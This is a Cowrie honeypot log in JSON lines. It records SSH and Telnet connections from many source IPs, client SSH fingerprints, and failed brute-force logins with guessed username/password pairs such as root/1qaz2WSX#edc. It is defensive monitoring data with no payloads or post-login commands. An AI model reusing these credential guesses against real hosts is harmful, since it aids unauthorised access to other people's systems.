{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.261172Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.263878Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.356098Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:ce:70:2d:d3:e6:25:a1:b2:6e:ea:db:8b:ba:65:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAhsrzuamoXLYvq2YSx3SFmLOLIlXDFVipRlhxEXwPiDNlXQno5GRhrs2KqCTXAZ0dBQ88MvMe1KYT22x+66va47rHf6b+efUX2+0Rh/QtvfDw/kRYXaBKlJK0vaM9Gch5ZQzqKI3Y8QD3oIwglEMQObyNtKflAWdQ5CFCJufQ4y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.358818Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50146,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e87d632173f","protocol":"telnet","message":"New connection: 170.64.224.25:50146 (159.203.135.109:23) [session: 2e87d632173f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.604099Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:48.244508Z","src_ip":"38.242.143.220","session":"1abda5879c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:56.985398Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.468055248260498,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:01.072056Z","src_ip":"170.64.224.25","session":"2e87d632173f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":41678,"dst_ip":"159.203.135.109","dst_port":22,"session":"3378ea97356c","protocol":"ssh","message":"New connection: 165.232.38.41:41678 (159.203.135.109:22) [session: 3378ea97356c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:02.871872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:02.878830Z","src_ip":"165.232.38.41","session":"3378ea97356c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:02.951920Z","src_ip":"165.232.38.41","session":"3378ea97356c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456q.","message":"login attempt [root/123456q.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:03.261662Z","src_ip":"165.232.38.41","session":"3378ea97356c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:04.334164Z","src_ip":"165.232.38.41","session":"3378ea97356c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":49798,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ead9e4142b","protocol":"ssh","message":"New connection: 189.203.163.10:49798 (10.17.0.5:22) [session: 57ead9e4142b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:09.326646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:09.330768Z","src_ip":"189.203.163.10","session":"57ead9e4142b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:09.394071Z","src_ip":"189.203.163.10","session":"57ead9e4142b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa11111111","message":"login attempt [root/Aa11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:09.682352Z","src_ip":"189.203.163.10","session":"57ead9e4142b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:10.749213Z","src_ip":"189.203.163.10","session":"57ead9e4142b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39786,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d0f6e47b677","protocol":"ssh","message":"New connection: 91.92.40.4:39786 (10.17.0.5:22) [session: 5d0f6e47b677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:10.825648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:10.830042Z","src_ip":"91.92.40.4","session":"5d0f6e47b677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:11.011648Z","src_ip":"91.92.40.4","session":"5d0f6e47b677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qwe","message":"login attempt [user/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:11.283684Z","src_ip":"91.92.40.4","session":"5d0f6e47b677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:12.369242Z","src_ip":"91.92.40.4","session":"5d0f6e47b677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":48066,"dst_ip":"159.203.135.109","dst_port":22,"session":"690094b5eb0c","protocol":"ssh","message":"New connection: 34.123.134.194:48066 (159.203.135.109:22) [session: 690094b5eb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:15.157371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:15.162441Z","src_ip":"34.123.134.194","session":"690094b5eb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:15.202402Z","src_ip":"34.123.134.194","session":"690094b5eb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost123","message":"login attempt [ghost/ghost123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:15.456747Z","src_ip":"34.123.134.194","session":"690094b5eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:16.595123Z","src_ip":"34.123.134.194","session":"690094b5eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":65487,"dst_ip":"10.17.0.5","dst_port":22,"session":"532bd218691a","protocol":"ssh","message":"New connection: 160.174.129.232:65487 (10.17.0.5:22) [session: 532bd218691a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:17.444789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:17.449051Z","src_ip":"160.174.129.232","session":"532bd218691a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:17.584824Z","src_ip":"160.174.129.232","session":"532bd218691a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"update","message":"login attempt [root/update] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:18.162090Z","src_ip":"160.174.129.232","session":"532bd218691a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:19.302478Z","src_ip":"160.174.129.232","session":"532bd218691a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":45756,"dst_ip":"10.17.0.5","dst_port":22,"session":"9262c1ca78eb","protocol":"ssh","message":"New connection: 138.197.164.175:45756 (10.17.0.5:22) [session: 9262c1ca78eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:30.875923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:30.880714Z","src_ip":"138.197.164.175","session":"9262c1ca78eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:30.899891Z","src_ip":"138.197.164.175","session":"9262c1ca78eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Bb","message":"login attempt [root/123456Bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:31.007832Z","src_ip":"138.197.164.175","session":"9262c1ca78eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:32.029457Z","src_ip":"138.197.164.175","session":"9262c1ca78eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":9802,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a7097854a1","protocol":"ssh","message":"New connection: 178.20.210.208:9802 (159.203.135.109:22) [session: 61a7097854a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:40.723934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:40.728334Z","src_ip":"178.20.210.208","session":"61a7097854a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:40.844989Z","src_ip":"178.20.210.208","session":"61a7097854a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX#edc","message":"login attempt [root/1qaz2WSX#edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:41.220923Z","src_ip":"178.20.210.208","session":"61a7097854a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:42.317876Z","src_ip":"178.20.210.208","session":"61a7097854a1","protocol":"ssh"}
